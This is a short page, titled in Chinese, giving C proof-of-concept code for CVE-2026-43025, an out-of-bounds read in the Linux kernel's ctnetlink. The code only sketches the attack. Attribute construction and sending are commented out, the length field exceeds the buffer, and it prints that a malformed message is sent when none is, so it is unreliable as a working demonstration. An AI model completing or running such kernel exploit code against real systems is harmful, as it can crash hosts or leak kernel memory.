CVE-2026-43025 Linux内核ctnetlink越界读取漏洞

/* * PoC for CVE-2026-43025 * This PoC demonstrates the concept of triggering the out-of-bounds read * by sending a netlink message with a mismatched helper. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 14 struct nlmsghdr *nlh; struct sockaddr_nl src_addr, dest_addr; int sock_fd; void trigger_vulnerability() { // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("Socket creation failed"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message buffer int msg_size = 4096; char *buffer = malloc(msg_size); memset(buffer, 0, msg_size); nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_SPACE(msg_size); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; nlh->nlmsg_type = 0; // NFNL_SUBSYS_CTNETLINK << 8 | IPCTNL_MSG_EXP_NEW; // Construct nested attributes for CTA_EXPECT // Malicious payload: Set CTA_EXPECT_HELP_NAME to a helper // that differs from the master conntrack to trigger the bug. // Note: Actual attribute construction requires libnetfilter_conntrack // or manual byte manipulation. // sendmsg(sock_fd, ...) printf("Sending malformed netlink message to trigger OOB read...\n"); // sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); close(sock_fd); free(buffer); } int main() { trigger_vulnerability(); return 0; }